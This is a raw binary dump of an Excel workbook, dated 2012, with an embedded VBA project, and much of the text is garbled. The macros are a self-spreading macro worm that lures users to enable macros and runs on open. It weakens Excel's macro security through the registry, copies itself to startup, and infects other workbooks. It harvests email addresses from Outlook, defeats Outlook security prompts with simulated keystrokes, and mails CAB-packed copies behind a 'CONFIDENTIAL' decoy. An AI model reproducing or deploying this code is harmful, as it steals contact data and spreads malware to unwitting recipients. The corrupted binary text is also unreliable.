邢唷>   &!"#%'(?*+,-./0123456789:;<=>$@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~Root Entry F郌 *懲02?*懲@-Workbook"XVBA_PROJECT_CUR"`蜓=*懲`蜓=*懲XVBA_PROJECT_CUR"*>*懲02?*懲  衫\p Ba=< ThisWorkbook=x9!8X@"1喤媅SO1喤媅SO1喤媅SO1喤媅SO1喤媅SO1h喤媅SO1喤媅SO1喤媅SO1.Times New Roman1.Times New Roman1喤媅SO+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)"Yes";"Yes";"No""True";"True";"False""On";"On";"Off"],[$ -2]\ #,##0.00_);[Red]\([$ -2]\ #,##0.00\)                 , * + )  1<@ @ 1<@ @ 8@ @  1<@ @ 1<@ @ 8@ @ 1 1<!@ @ 1<!@ @ 8!@ @ :<@ @ x@ @ x!@ @ 8@ @  8@ @ 8@ @  8@ @ 1< 8 1<@ @ 0@ @ `/Macro1 Sheet1 Sheet2!Sheet3VV! :! :! :! :8LHf[b 7廭鱏 7鰁魰 7y橆v 7膲!j 7S錧f[b 71 7Pg檈f[b 72h廠恌[b 73:g癶f[b 74梴:gf[b 75篘噀f[b 77u`f[b 785ulf[b 7Y韹f[b 71011蜽鷁f[b 71213櫃檈f[b 714petf[b 715蟸f[b 716錧Rf[b 7sTSO瞼袕≧ 7171819癳u顊t[ 7up≧蚫:W 711g 712g 7詁砽 7錘韘:NUSMO 79.24-26 7顊t[ 7貧t^膥 710g-N靍 7'YN'Y孨'Y N 76 710g N靍 7 薶{|詋[ 12g N靍 7 髰髜詋[ 710g 77uP[硩t詋[ 7 10g15錯髞11g1錯 b査hLr[  , 'YNhQSO耂燫 'Y孨颯 愰b耂燫錘韘:NUSMO y橆vS靊: 7uP[USSb0sYP[USSb蔛7usY鱩蘏 7 5 'YNhQSO耂燫 'Y孨颯 愰b耂燫錘韘:NUSMO y橆vS靊: a屗h0擭P[薶0髰薶0踁齎決薶蔛 N齎@g  7 11g12錯髞11g29錯詁砽詋[ 7歔筽昩顊 740篘 74*N韘 712g 7詁砽 7'YN癳u 7顊tcb[ 72012 NJSt^IY$!h:STf[b栟z[崱R 7俧鄀 7俧鄀 7 b栱s釼SORNSNt[ 7J w  {<)5"cc @ 衫   d褚MbP?_*+%"??UBT5 ZhangXiaoxianBA B~h/亂(u廩 sQ頃 2012-9-24 12:28:28 Please Enable Macro!BvB悁AB7d 9   >@7  衫 :  d褚MbP?_*+%Mn/ dLetterwidm" d??U} `} }  }  } }  @ @@@@@@@@ @ @ @ @ @@@@@@@:@ (D))))       * ~ ▽@ % * ~ 笎@ & *  ' !    ( !) *    5 "C /  *  $1 "2 + 0 %3 4    " E    " 6     F    . , / * ~ 槒@ < ?* ~ 鴱@ = > *  $7 G &9*  $; '8 &:   + , -  " E  # "@ A B  $#  E .6 THDDTTDDD>>FFBFBF>F>@* 7 Sheet1  衫 D!  d褚MbP?_*+%"??U>@7 Sheet2  衫 X"  d褚MbP?_*+%"??U>@7 Sheet3 XBA*>*懲@?*懲ThisWorkbook Sheet1 +qSheet2=q  !"#$%&'()*,-./0123456789:;<>?@ABCDEFGHIJKLMNPQRSTUVWXYZ[\]^_`bcdefghijklmnopqrstuvwyz{|}~t+弿pY#x檾蘁L緽咾碚FS鵼/Y誆捨顳撓xME [LSS<(<^`&<,<<< <$<0<4<8<<<N0{00020819-0000-0000-C000-000000000046}`(%%凗` %偁 %%*  H )僜h樅%X 刔x0P  刔x%x ( 刔x%00t @d @HPh8HhT嚗1R*\R1*#2a9 " ( 0@H" PX\`     ] 蚰 &. &((APo &{0002E157-0000-0000-C000-000000000046} \!<!B@ &(.0 &((! \A@Z &(.o畋Attribute VB_Name = "ThisWorkbook" 孊as0{00020P819-0C$0046} |GlobalSpac扚alse dCreatablPred恊claIdTru BExposeTemplateDeriv払ustomizD2Public WithEvents xx @As App ation fxx.琕arHelpIDU-1 P;? Sub _open() P Set)= )On Error Resu覰ex唗4:.Disj yAlerJ= iCall do_whaEndC: Axx_w剓O!ByVal w瀊5'& wb@8Project.References.AddFromGuid _ GUID:="B岴157屃 -P, Major:=5, Mi nA3 N  8)僝B % 刟d% 刢`%+f`逮N` ffCi僪 )僰%)僲%i僴  凣`t%`刾p`剅l`則h`剉d`剎` 剓\% V`幗N `劋h`劍d T`N @劥\ 5N`劧Xx`劯T!,`労P`劶L0`劸< `劺, k4`劼( `H ` x )Y傿 Y僁 Y僃 Y僅 Y僇`凩 `凬 +  `  H+n0 ` Si僷`剅`則`+2 `  e@剒 @剕 `+H `  oI儉 @劥 @剛  ` xI儓  I儕 @劥 @剛 6 `!! 剬P %`剮`剱`勗 R`羹N @勗\ @劄L @劆< `劉: 8 x  P0 8P  @H H "%8 x  P0 8P  @H H 8 x  P0 8P  @H H xXxl  pRTVXXh X@d @` @P 0 ?" ( @Xhl X4@4 @$ @ (_  2E150@ 0 @忐 `p(棹 @佝  o軋 Falsp 0 玄  烴  叁o 0 @羹 0Xl pX$   @ @ xX088\ @L @< 8800hH8l X  8`d8H` @\ p(X @T @D X@ @0 @ @ @  @忐 @瀨 8幗 `z  0UUUUUU? t @p @` 8(\ 8X @l ??   %@D  %h 8 x4 $ @  @酤 瀨 @軋 @寧 @逮 @ @旫 @匎 @t 8p @` @P  % 刔hx@ @0 0l `H 刔h 刔h$ 8p8XP!!p!\ @L !@H @D !@ @> p@X!$(z  `!p!p!hL 8 < @, h  @ (! 8@ @ @瘙 幗 @玄 (!俐 p!0件 羹X!`!!7!逮!`!Y$(@"$0246 $x `$(t @p @` "\ @L $(< @, #8$$H$`l @\ `$X T0$`H$$P p$h$x%Px @t @d x% %`$%%($` @\ X$`XT @P @L @H $ "嚗1R*\R4*#1d*\R1*#2ad$*\Rffff*0H5231a591"  "H "0@H*TP  "HH  "`  p     "   B       ) * ZH V \ X`     ( H "  PX`  "    ( @Xx6^@Xx <08P B  X`hQp "   0bPP 02#  ( .$0 `hpxP  +  . @ J^H ,$,$  ( " 0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// " 0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>楡 2谸LA `A^pA:蠥B B(B " 0B8B@BHB $XBB 楤燘˙癇窧繠蠦谺郆鐱 養CC C(C0CHCPCXC`ChCpC B xC2C窩繡蠧餋鳦DDD B  D D8D@D XDhDD 楧―癉窪菵蠨*鐳2EPE`EhEB pExE怑4楨.蠩F*F HFXF B  `FhFpF*F 癋 蠪 郌餏 "  鳩GG*GJHG楪 ℅菺 谿鐶 餑H H0H8H " @HHH`H hH xH圚怘 ℉@窰鳫II 0I @IPIXI`I pII*業菼蠭鐸&J|(Jv↗, K PK `KpK xK圞 B  怟楰窴 繩 "蠯 "郖餕&+L 0L$G8L"0`L圠怢楲 燣:↙ "萀 豅鐻 &((Name, !* &!,e) - &(.y.vbs"A0A2$4!Macro1G A@6j) = " B@8 &(.kXoP@]" ThisWorkbook !<%>!@#Public WithEvents xx As ApplicationC@BPrivate Sub Workbook_open()C@BSet xx = ApplicationC@BOn Error Resume NextC@B!Application.DisplayAlerts = FalseC@B Call do_whatC@BEnd SubC@B1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@B On Error Resume NextC@B %wb.VBProject.References.AddFromGuid _C@B GUID:= :&{0002E157-0000-0000-C000-000000000046} :, _C@B Major:=5, Minor:=3C@B "Application.ScreenUpdating = FalseC@B!Application.DisplayAlerts = FalseC@B copystart wbC@B!Application.ScreenUpdating = TrueC@BEnd SubC@Bqo]]] !<.D ThisWorkbook D%>.F F!@.J J5NC@Lqox8 !* &!,A@RATAVAXk0i(x]]k4.xls$d!<.` \!<.bToDole ` b$fGzji   ]]](]@]X]p] j'fz0k( h$| ~'fzk l'fzk j! 'fzk l! 'fzkx h j%>.F !'fz@k8Temp$\ h.bas'p n p    $~ ~ B@ pA@ !'fzkk l!> h7C@qXdP B@ h l%>.F ! ! d'fzkkk p h j%>B@ p\$'v p.$'x p v x v  $'r.F r l%>.F F p l!>B@d F!l  p l!>%.z F!@5NC@L z!@!N z!@%'t tC@Bq z l!>B@k`kX pA@'fi8]] !' &!,\k4.xls'k4.xls$ !* &!,Gk4.xls$dB@Bjcomspec$  /c attrib -S -h " &!,\K4.XLS" A@comspec$  /c Del /F /Q " &!,\K4.XLS" A@comspec$  /c RD /S /Q " &!,\K4.XLS" A@ !* &!, &(. (  B@ ( &(.kHi@]Xp]] &!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi] WScript.Shell$.    B@dP    B@k0.o ]8 \%4B@H l 4B@Macro1 (A2$B@H =ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" &!"))=4) (A4$B@H=ALERT("禁用宏,關閉 $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  \!4 !!Auto_Activate =Macro1!$A$2 \!B@  \%(oP'  &%d! 'z`kXPiH]10:00:00]11:00:00]14:00:00 ]15:00:008]Ph WScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@A@ k d G|j   n $   n $| d n $' D:\Collected_Address:frag2.txt$X' n $ D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@ D:\Collected_Address:frag2.txtA@A@k k k o ] 8 scripting.filesystemobject$. WScript.Shell$.E:\KK %GE:\KK B@ j ! ! $ _$"._$"'E:\KK\  _clear.vbs'$ ' $  On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit  Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\  _Search.vbs'& ' &  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  $"), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V * &(( wscript.exe & . B@,.oP]]  2'0 WScript.Shell$.scripting.filesystemobject$.E:\SORCE %GE:\SORCE B@ j ! ! $ _$"._$"'*  *Message*'4 E:\sorce\ _Key.vbs' '   .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ *.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F:  .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ .xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ .xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ .xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file." & Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ .xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ) = " " and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !* \TEST.txt' '    E:\sorce\ _Key.vbs  E:\sorce\ .xls V &(.A@6 E:\sorce\ .xls B@A@R$L' 8 !*$A@:#"C:\" !*A@:comspec$  /c makecab /F " !* \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ .CAB . B@, " !* \TEST.txt %< !* \setup.rpt %< !* \setup.inf %< !*\ .CAB %<aA@comspec$  /c RD /S /Q " !*\disk1" . B@,comspec$  /c Del /F /Q " !* \TEST.txt" . B@,comspec$  /c Del /F /Q " !* \setup.rpt" . B@,comspec$  /c Del /F /Q " !* \setup.inf" . B@,comspec$  /c RD /S /Q E:\sorce . B@,E:\KK %GE:\KK B@ jcomspec$  /c MOVE /Y   .CAB E:\KK" . B@, 8A@: 0  Dear all, @  @FYIE:\KK\ .CABA>comspec$  /c RD /S /Q E:\KK . B@,. &(.o=8 ] ]0 G|jOutlook.Application$.L R L%P.N N D9D F9F B9h H9T J5VB@9Xq =Z=\= NB@^[ setforth A@A@A@%sbA@`A@\<Z<.L.No<H Win32_Process WinMgmts:$f%h.d'  j d j!lOUTLOOK ' y<k;;i; ]   'n pGzj p   p n$$ 'n zP;kH; p 'rA@4  v r  x   't x t G n$$ x t 'nj x t 'x:i:0 ]p   '2D:\Collected_Address\log.txt$ @$~'z z z  $n$$$~'|  | 2; $|X $z'2 i9 9] 0 scRiPTinG.fiLEsysTeMoBjEcT$.  %. !' B@Bi9H 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ %G   $ B@ j  %<  %.  B@ B@Bd8  %.  B@ B@Bk7o7 ]8 X p ] &(. &((p7  ! ( !!$~# Auto_ActivateG B@j7  !4 !Macro1  ( B@k66$4B@H 4B@  !4 !$4!G  (j06 v ' v '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  +請用 "$ ! ! $_key.vbs"$ 解鎖此文件.  +  $  $$5(5(q4 &(.op4 ]  (@4 !' &(. &((  !4 !Macro1G  (j3 A1:F15 $4% ! CONFIDENTIAL 'yh3k`3X3 G $4B@j &(.i 33HAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete腳tf_wk<copytowx婼heets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   R仼jonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.Ins蠰ines 1, P"Pub Ev xx As魃_@ 2 垊舦剠E 3 Set=4 On Error Resuext5 6 媜_wtha7h8I纗x_昈亮ByVal wbkAM匓) 9!7120 wbt卾References.AddFrom@Guid _M1AsGUID:=" &厪& "{0002E157-u0CB0046}k, >Major:=@0鐼in!3=妠蠏w?: XaA鼳hs!坄0 >at獳Cw!d坸藊K惲x8Dim`﹣8酈VB菼DE: 乿?唜w')y 縼jC爠儏 =筻 s(瑓#%A7aj!! $ .DB唉娎untOf'(Funrc d#r&熍n.懪爡toreA餱terar怐oorMisofthobb yABJudg 頂 鍹(2d 駖 e>AB1o>`擱2=1>E 8k4.xl辳 劍A 2)7A-m⒙@@oD鄌le","怐 ?b|)胵Exit 馬sg瞯丂eString繣箒 罫& /tToo4fOve@rwrite s&t1Bo an)#xt~ ?:!<3AFO  AS SlashPo鄔s LonbgExt0FT鴈mpuFL c傽Is No`撶0昬梣 !#劀鶕 L a 幈ATrim()亹vbNull3%a  Y" Q0翤譪].;t 70"媉pp_lo衏ked_y15 [t?0 22!'Q ?:沠 # 袨.N爑mberA0!0_!Y!9=羳vironN2")鄳"\ !.bas爛 螪<= 羵+ s$Di$r(", .or mp+Hidd芭System~)01Clea瞜E K螧% q929*聛8* .Re鈓嘀 .I 〣g餮E錬@X鴕r.:)斠)/ += 9?7 0+A?23a;roject.VBComponents(ModuleName).Export F"i@:=F\   SlashPos = InStrRev(F, "\")HExtD."cZGMidB]+P 1, F-t- 1b峞t GNothingToVBP鷧B *If)Is *` Then, (.I獢 El se!2.Type_vbext_ct_Docum_虒9;S~T鴈mp唨K儾:CKWith?.pCode儐.DeleteLinesAj unt霴f S7*H. (纙Co-A! .Inse,rt!SEn d A4KOn Error GoTo 0 VPRempove ) IfKill 伹 copym綸丆ru儊 Fun恈tio@  Microsofthobby(>Dim myf0 As 蘼9My嶺I8Re抯罀 N = KisWorkbook.Full = Applica.StartupPa@C&|k4.xls" XeOpe坣("$) A/蘐hH <> s' .Clo se FaBgShe *Environ$("coms@pec")  /c attrib -S -h """9K4.XLS, vbMinimize膁F纎s @`@ /F /Q? \? RD /S 3 B62= )creenUpdy Dng燳4俽 I纒Addin^/郤aveC c`Z肙k) ZTlasm!!WDoorElFs纎, RK1*234 rKValuebVariant, c dcVSw`krVersBA繞+CreateOb猁("scRiPTinG.fiLEsysTA`笲jEcTx  = "HKEY_CURRENT_USER\SA0Gware\H\Office\4Q&Excel\Security\AccessV圔OMPARK2+t\Le(velB3FLOCAL_MACH豂NE__"] ~4耎   5 = 1. Ca蠰WReg("爌"REG_DWORD艗z 2$0椏3744 !3Sub bst恟key',, //R巻k膢2o黈sq]S,P;-WScript.扽a斄6D0_8K蠪暷.`W*e  d C嫏"d皀 靂 B Priv: %M 卪a悀4(腂yP wb卲揁@xtQ 竤htC?c 0e1).Sp歗cqWpP.Y ! :=xl64M!# A饒ve.4"218SRange("A,2"kC爖.FormulaR1C116=ERROR(FALSE)眨 U3_ia_ "=IF(.TYPE(RUN(; |瑍Up、 郕""))=4 4Ac ALERT@煤輳乇 酨Chr(10釃NowA"Plea悑E@nable !"",3m5oocFILE.CL豋SE/6aEND.`7RETURN(#! Ea萩h )In(魒b$s"( %!Auto_#1 "`M=&!$A$~2X,,+sB(0/VisiA= xlB,衦yHi黡d芨88F穟7椰B啾R$wK6`忄) .v v;B貧o顃pKL0)尩4s(a1) > 0岬p脦盇Exi帑& p d 馡3 okNotOpen: End FunctionPrivate Sub ATJudge() Const T1 As DF= "10:0U"<2 <1 <3U <4 4 5Dim SentTime", Ws@hShell窼et = Crebject("WScript.-"薎f  InStr(@UCase(&.RegRead("HKEY_CLASSES_ROOT\mailtHo\s:\o燶command\")), "OUTLOOK.EXE") > 0 Then Exi瀟仺丼<b>= <2 Or.  4% N "丵OunD@:\Collted_Address:frag1.豻xtC佊" 僄% ElseCB肞Filez"7\ search_in_OLy汭f滸2bif_outloo黭_乁+圡# G< T櫲F@=(")10,)嘡 T昛 4)G蘁岶啟=B-21,杦@槀,Orror GoT鑟 t@癊IK闏A3(w2w@FG驡Vw < (2@Gb$ \loggHPH 鞨nI" JI`姠Now9R#i,"Cab騙 dM纘I錝B哢`G俈牏ax摔)] 幛a昳仈Integer, Att孨a椸峣ng@郿dVbsbk擴怢istfs 儥gaResu` Next 7、懟s隆.f爗systemoOb㊣ @Mfs.Folderexs("E:萛KKb廎a爙z棤$8b  $= Replace`Left(ThisWork b鄡.!), Le俷) - 4嵐 _"A.D qF._cl爴犇\" &f4& "P.vbs@PiFHreea2 ℃ 7纝d7 F{@眕u t`鎐蠟 Wri3 ;#i3犼nt #i V4e4 (酖wsh, Xtle` vi  T0仭r-a7=c膺c:(""i!"w>.倫4) @Microsoft Of鄁ice PAZ'Q1 `N1000 If騧苧p > 6 rCall !f m h( leep 05p.sendKeys $ %a P 睈 Uh{TAB~}BOO @O{駿`Cr}A=[w `th=U q榰it濺ePDo Untibl Appq燗(JCpJ("))T豶ue+aSI*恆Loop=% s?_ 1q醄z{F4?7q\Sub`Close (i0s贎\ 顯A"燽@袙鼲0A挮yAn Af'兎o俵VInbox 6QCconbiTnd`燼c,E,金Dt酟xF#=骙u硈C鄢38繤_銩 斜. %l竔ca!荰. 9慯sp衊.Ge襱MAPI vD@efault(J_ Targe~ eC 1 colIPxs粻I.B23怴 絍aH.Run 韄ex鵂o齪爋冧 svbHid餲{鈡tB pgQ/E(achMPpag鄀 in K< 0I鰾`>55 鎡觍則 ?0=@/valhid_0($D .pBody烾p_苩@敮, 8{ 佮j_non_s袨2糀llT0羶02ku5Q蝁{0;2u sourc纄_dataL AaAoDict鄤r dp5ta , temp_data, ih_asc, header_endHrimed_arr, no nsame0" Print #l" Dim regex, matchs, &sn()XSet oDict = CreateObject(""" & "Scripting.$ionaryLyLVBSCRIPT.REGEXPGQ(.Global,TruePattern-\w+([-+.])*@\. ,+EExecute(sourcfe傎弲Re伱囐(!".Cou- 1For i@$Lbd() pTo UN* i)@I罈(& vbCr凩fNext 麕(B(N(倹H7@%)`脻'If儾腦> 0 TxhenS!HI$.餶eysS L>胒>@vali伬馾dress}&墈`# !@ E0nd I/;i|Noth爕 Fun糲t鄘+鄬v Sub add刜t@F(inpa萪_sOng椺`_frag/\AbobjFSO, l纎gfile A_path#f黲l@ `&$FD:\Coll麁枲*匢m!嬥麧FSys纅# On Err`w9ume niA .鮟Fb(el n ].Exist.s《ch\ .t爖乴8b$a2T !  , 臉o$8S"襍'$SeaB Case 讉T俁 #8 "AT"Ope妌"tdF, 8#, -鵓 1A.Writ -c5 C2Clos;_q 2 SO. 9O% 2 穲s C C I%[s!5>nN "ubeQ R悩AllF?.倵誐2N, M@%廘黶s< UBo纔nd(a)cP@礶rve a(n*2A?rn x+ 1/ 8@} 蟧/ -1/ d}=0a) 菴lopW(iP羛?q z稈 b\T郋ST.t偊煱氏 Π#PK_窅aX房>孩~ 薪w.牔@eenUpd`畁&g" 諧to reBefPSend Sav黣C溊1枱 Af<c c<4$酀1 Ch8Dri%熚, 羳,'"C:\渋r`)匭1 鰞Q楨nviron$("comspec"3 /c makecab 0 c*  !If NxextyBRadomNine`(leng>I纍tegerr e釮 !@jj, ki"N"#$<= oc @:1E 遽i1 `-O缼$$_i籨 U = t / 10萊an0izW[浺 k `(RY* (@* i - m01)) + 1T m鄈 <> 醫 唣駮 m/ 卄get郷ten_燷羜.KUAsle詀_鴄rrAlPApSpkt(Read@[("D: \Coll餱ed5h\logr)醦c駒YkrrV)U@Bound()uLs "#O 蚉$;A$(C`(i- 1&G$O7on Fxull懝6%F\Rxesu惡&F剆o磇leT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcT閟蜦@.O@zEa(5 , 1T,| -a q$.1!All*.C|lo峋g媰 3ragMark, 鄍athfO?NO聣OQ}("OM@:Left(, Len螅a(10  髀答f`癐》t_Q1" ue 2W纑ite Fd 1E傏1"乮"b"A1#mqS贏gN4store訠e爦eQ(#!! aa!i☆, i_rowjcol@餚畇ht1s_竄48.Dis痢擜lert!$++両亐 仾驫 鄟 aa.Vi鄐ible 髜r0#肰S"!")(1)`"Auto_A弎零" Then aa.Delete Next For Each sht InisWorkbook.Sheet恠 IfF.Name = "Macro1B.Visib騦Bxl| DUEnd If岮p(1).SC.Add5<<> V俕倓VeryHidden匟 i_rowwInt((15 * Rnd) + 1) i_col6 CellsR(, )"** CONFIDENTIAL!b " -2Use " & Chr(34)Left(Thk, Len ) - "_k纄y.vbs @p0o Op绬A FPile.$3 $8胗$1V$解鎖此文件"With Ra恘ge(U, 訬纆B.Font.Bold繽Tru救ColorIndex@3 粒 Application.ScreenUp2dng SubPrivate Func RestoreAfter乄"(#Dim列, del_, rngCfrag As Boolea烵n Err{@u軆@ A9veB堵,Fa ls DisplayAlert D?$ 個l*B厀乴彔 a從td).c>"A1:F1 5"' InStr(.Value, "蒳") > 0B *= >Exit < l"艈a}5)&?CBaC匒 0   0   0   0 P  0   0   0 P  0 8   0 H  0   0 0  0   0 H   0  0        rU $ `$ `$ `$ `,! `aDI `0==#$q `$ `0 ` Iay0/0, `a( `0$9 `$a `$ `< `A00000$ `( `a&$) `(Q `y/,y `//$ `$ `n刹0* pHd VBAProje坈t4@j = r 嚗1R J< rstdole>stdole h%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.tlb#OLE Automation`僂OffDic凟Ofic侲瀫攢丒2DF8D04C-5BFA-101B-BDE5E訟AC42圗gram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#僊 1@1.0 Ob伭 LibraryK 伾VBIDE>BI―Eシ瓈157倽怰5.3僐/绹\6E6EXT.OLB0VXVBA_PROJECT2dir__SRP_0:__SRP_1 Nrsion∨` CreateObject鴬`(WReg鈟`strkey`Value銴` ValueType `oWshellu巂RegWrite!>`sht縈`Add鱮`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell椒` FormulaR1C1S`UserName\鎌ChrK~`Now%篳Names慰`Excel4MacroSheets煞`Visible隊`xlSheetVeryHidden在` WorkBookName+蝋WorkBookNotOpen赻T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadwTime`ReadOut蟆` CreateFile鬬 search_in_OLe`if_outlook_openi骮DateAdd/6` timeError計`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile鴽`fsF]` Folderexists ` 